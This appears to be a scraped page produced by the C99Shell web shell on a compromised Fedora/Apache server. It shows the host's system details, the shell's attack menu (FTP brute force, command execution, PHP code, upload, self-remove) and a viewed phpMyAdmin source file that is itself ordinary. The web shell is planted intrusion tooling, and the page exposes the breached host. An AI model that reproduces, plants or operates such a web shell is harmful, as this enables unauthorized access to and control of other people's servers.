!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/login/phpmyadmin/libraries/   drwxr-xr-x
Free 4.55 GB of 27.03 GB (16.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     parse_analyze.inc.php (1.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* Parse and analyse a SQL query
*
* @package PhpMyAdmin
*/
if (! defined('PHPMYADMIN')) {
    exit;
}

$GLOBALS['unparsed_sql'] = $sql_query;

// Get details about the SQL query.
$analyzed_sql_results = SqlParserUtilsQuery::getAll($sql_query);

// TODO: Refactor this.
extract($analyzed_sql_results);

// If the targeted table (and database) are different than the ones that is
// currently browsed, edit `$db` and `$table` to match them so other elements
// (page headers, links, navigation panel) can be updated properly.
if (!empty($analyzed_sql_results['select_tables'])) {

    
// Previous table and database name is stored to check if it changed.
    
$prev_db = $db;

    if (
count($analyzed_sql_results['select_tables']) > 1) {

        
/**
         * @todo if there are more than one table name in the Select:
         * - do not extract the first table name
         * - do not show a table name in the page header
         * - do not display the sub-pages links)
         */
        
$table = '';
    } else {
        
$table = $analyzed_sql_results['select_tables'][0][0];
        if (!empty(
$analyzed_sql_results['select_tables'][0][1])) {
            
$db = $analyzed_sql_results['select_tables'][0][1];
        }
    }

    
// There is no point checking if a reload is required if we already decided
    // to reload. Also, no reload is required for AJAX requests.
    
if ((empty($reload)) && (empty($GLOBALS['is_ajax_request']))) {
        
// NOTE: Database names are case-insensitive.
        
$reload  = strcasecmp($db, $prev_db) != 0;
    }

    
// Updating the array.
    
$analyzed_sql_results['reload'] = $reload;
}

return
$analyzed_sql_results;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0041 ]--